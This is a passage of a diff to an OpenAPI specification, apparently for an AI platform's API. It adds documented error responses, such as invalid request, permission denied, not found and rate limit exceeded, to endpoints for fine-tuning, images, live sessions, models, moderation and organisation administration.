+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The fine-tuning job was not found or is not accessible.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request rate limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -7543,6 +8435,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListFineTuningJobEventsResponse'
+ '400':
+ description: The query parameters are invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The fine-tuning job was not found or is not accessible.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request rate limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -7621,6 +8531,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/FineTuningJob'
+ '400':
+ description: The fine-tuning job cannot be paused in its current state or does not support pausing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The fine-tuning job was not found or is not accessible, or this operation is unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request rate limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -7681,6 +8609,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/FineTuningJob'
+ '400':
+ description: The fine-tuning job cannot be resumed in its current state or does not support resuming.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The fine-tuning job was not found or is not accessible, or this operation is unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: A request or fine-tuning job limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -7740,8 +8686,32 @@ paths:
text/event-stream:
schema:
$ref: '#/components/schemas/ImageEditStreamEvent'
+ '400':
+ description: Invalid image request, including invalid DALL-E parameters or input.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The project does not have access to the requested model.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '410':
+ description: The requested DALL-E image endpoint is unavailable because it has been retired.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
+ '500':
+ description: The image could not be generated or processed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
@@ -7917,8 +8887,32 @@ paths:
text/event-stream:
schema:
$ref: '#/components/schemas/ImageGenStreamEvent'
+ '400':
+ description: Invalid image request, including invalid DALL-E parameters or input.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The project does not have access to the requested model.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '410':
+ description: The requested DALL-E image endpoint is unavailable because it has been retired.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
+ '500':
+ description: The image could not be generated or processed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
@@ -8055,6 +9049,50 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ImagesResponse'
+ '400':
+ description: Invalid image or request, or the request cannot be processed for this account.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The project does not have access to the requested model.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '410':
+ description: The image variations endpoint is no longer available.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The image rate limit was exceeded.
+ headers:
+ X-RateLimit-Limit-Images:
+ description: The image limit for the rate-limit window.
+ schema:
+ type: number
+ X-RateLimit-Remaining-Images:
+ description: The number of images remaining in the rate-limit window.
+ schema:
+ type: number
+ minimum: 0
+ X-RateLimit-Reset-Images:
+ description: The number of seconds until the rate-limit window resets.
+ schema:
+ type: integer
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '500':
+ description: The image variation could not be generated or processed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: images
examples:
@@ -8139,6 +9177,45 @@ paths:
transport:
type: webrtc
sdp:
+ '400':
+ description: Invalid Live session request.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ text/plain:
+ schema:
+ type: string
+ '413':
+ description: The Live session request exceeds the supported size limit.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ text/plain:
+ schema:
+ type: string
+ '429':
+ description: The session could not start because a rate or quota limit was exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '500':
+ description: An internal error occurred. The response body is plain text.
+ content:
+ text/plain:
+ schema:
+ type: string
+ '503':
+ description: The session is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ text/plain:
+ schema:
+ type: string
x-oaiMeta:
group: live
returns: Returns 201 Created with the session identifier in session.id and SDP answer in transport.sdp.
@@ -8172,6 +9249,42 @@ paths:
responses:
'200':
description: Session accept request accepted.
+ '400':
+ description: Invalid request body or headers.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The session or call was not found or is unavailable for this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '409':
+ description: The session or call can no longer accept this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The session could not start because a rate or quota limit was exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '500':
+ description: An internal error occurred. The response body is plain text.
+ content:
+ text/plain:
+ schema:
+ type: string
+ '503':
+ description: The session is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: live-sessions
returns: Returns 200 OK when the control request succeeds.
@@ -8202,6 +9315,42 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/LiveCreateResponse'
+ '400':
+ description: Invalid Live session request.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: Invalid session ID.
+ content:
+ text/plain:
+ schema:
+ type: string
+ '413':
+ description: The Live session request exceeds the supported size limit.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The session could not start because a rate or quota limit was exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '500':
+ description: An internal error occurred. The response body is plain text.
+ content:
+ text/plain:
+ schema:
+ type: string
+ '503':
+ description: The session is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: live
returns: The new session identifier in session.id and SDP answer in transport.sdp.
@@ -8229,6 +9378,12 @@ paths:
responses:
'200':
description: Session hangup request accepted.
+ '404':
+ description: The session or call was not found or is unavailable for this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: live-sessions
returns: Returns 200 OK when the control request succeeds.
@@ -8255,6 +9410,24 @@ paths:
responses:
'200':
description: Session refer request accepted.
+ '400':
+ description: Invalid request body or headers.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The session or call was not found or is unavailable for this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '500':
+ description: An internal error occurred. The response body is plain text.
+ content:
+ text/plain:
+ schema:
+ type: string
x-oaiMeta:
group: live-sessions
returns: Returns 200 OK when the control request succeeds.
@@ -8281,6 +9454,30 @@ paths:
responses:
'200':
description: Session reject request accepted.
+ '400':
+ description: Invalid request body or headers.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The session or call was not found or is unavailable for this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '409':
+ description: The session or call can no longer accept this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '500':
+ description: An internal error occurred. The response body is plain text.
+ content:
+ text/plain:
+ schema:
+ type: string
x-oaiMeta:
group: live-sessions
returns: Returns 200 OK when the control request succeeds.
@@ -8298,6 +9495,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListModelsResponse'
+ '403':
+ description: The API credential does not have permission to list models.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
x-oaiMeta:
group: models
examples:
@@ -8385,6 +9588,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Model'
+ '403':
+ description: The API credential does not have permission to retrieve models.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The model was not found or is not accessible.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: models
examples:
@@ -8450,6 +9665,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeleteModelResponse'
+ '403':
+ description: Insufficient permissions to delete the model. Model deletion requires the Owner role in the organization and a credential that permits deletion.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The model was not found, is not accessible, or cannot be deleted through this endpoint.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: models
examples:
@@ -8504,8 +9731,26 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/CreateModerationResponse'
+ '400':
+ description: Invalid moderation input or unsupported request parameters.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: Access to the requested moderation model was denied.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
+ '500':
+ description: The moderation request could not be processed due to an internal error.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
@@ -8770,6 +10015,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ApiKeyList'
+ '400':
+ description: The API key listing parameters are invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -8835,6 +10092,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/AdminApiKeyCreateResponse'
+ '400':
+ description: The API key creation request is invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The created API key could not be found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -8887,6 +10162,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/AdminApiKey'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The API key was not found or is not available to this organization.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -8949,6 +10236,18 @@ paths:
- id
- object
- deleted
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The API key was not found or is not available to this organization.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -9066,6 +10365,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListAuditLogsResponse'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: No audit log was found with the specified pagination cursor.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -9178,6 +10489,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListCertificatesResponse'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -9232,6 +10555,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Certificate'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -9283,8 +10618,32 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationCertificateActivationResponse'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: A certificate was not found in this organization.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: The certificate update could not be completed because of a server error.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -9350,8 +10709,32 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationCertificateDeactivationResponse'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: A certificate was not found in this organization.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: The certificate update could not be completed because of a server error.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -9427,6 +10810,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Certificate'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: A certificate was not found in this organization.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -9478,8 +10879,32 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Certificate'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: A certificate was not found in this organization.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: The certificate update could not be completed because of a server error.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -9527,6 +10952,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeleteCertificateResponse'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: A certificate was not found in this organization.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -9628,6 +11071,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -9681,6 +11136,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationDataRetention'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The organization was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -9716,6 +11183,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationDataRetention'
+ '400':
+ description: The requested data retention setting or transition is invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The organization was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -9776,6 +11261,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/GroupListResource'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested group, user, or project was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -9823,8 +11326,38 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/GroupResponse'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested group, user, or project was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '422':
+ description: The organization has reached its maximum number of groups.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: The group operation could not be completed because of a server error.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -9867,8 +11400,32 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/GroupResponse'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested group, user, or project was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: The group operation could not be completed because of a server error.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -9914,8 +11471,32 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/GroupResourceWithSuccess'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested group, user, or project was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: The group operation could not be completed because of a server error.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -9956,6 +11537,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/GroupDeletedResource'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -10018,6 +11617,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RoleListResource'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested resource was not found in this organization or project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -10085,6 +11702,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/GroupRoleAssignment'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested resource was not found in this organization or project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -10150,6 +11785,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/AssignedRoleDetails'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested resource was not found in this organization or project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -10206,6 +11859,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeletedRoleAssignmentResource'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested resource was not found in this organization or project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -10271,8 +11942,32 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UserListResource'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested group, user, or project was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
+ '502':
+ description: The upstream group service returned an invalid pagination cursor.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -10396,6 +12091,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/GroupMemberUser'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested group, user, or project was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -10515,6 +12228,30 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/InviteListResponse'
+ '400':
+ description: The invite listing parameters are invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The invite specified by the after cursor was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many management requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -10564,6 +12301,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Invite'
+ '400':
+ description: The invite request is invalid or the user has already joined or been invited.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '429':
+ description: Too many management requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -10630,6 +12385,36 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Invite'
+ '400':
+ description: The invite request is invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The invite was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many management requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '500':
+ description: The invite could not be retrieved because of a server error.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -10751,6 +12536,30 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectListResponse'
+ '400':
+ description: The project listing parameters are invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The project specified by the after cursor was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many management requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -10798,6 +12607,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Project'
+ '400':
+ description: The project creation request is invalid or contains incompatible settings.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '429':
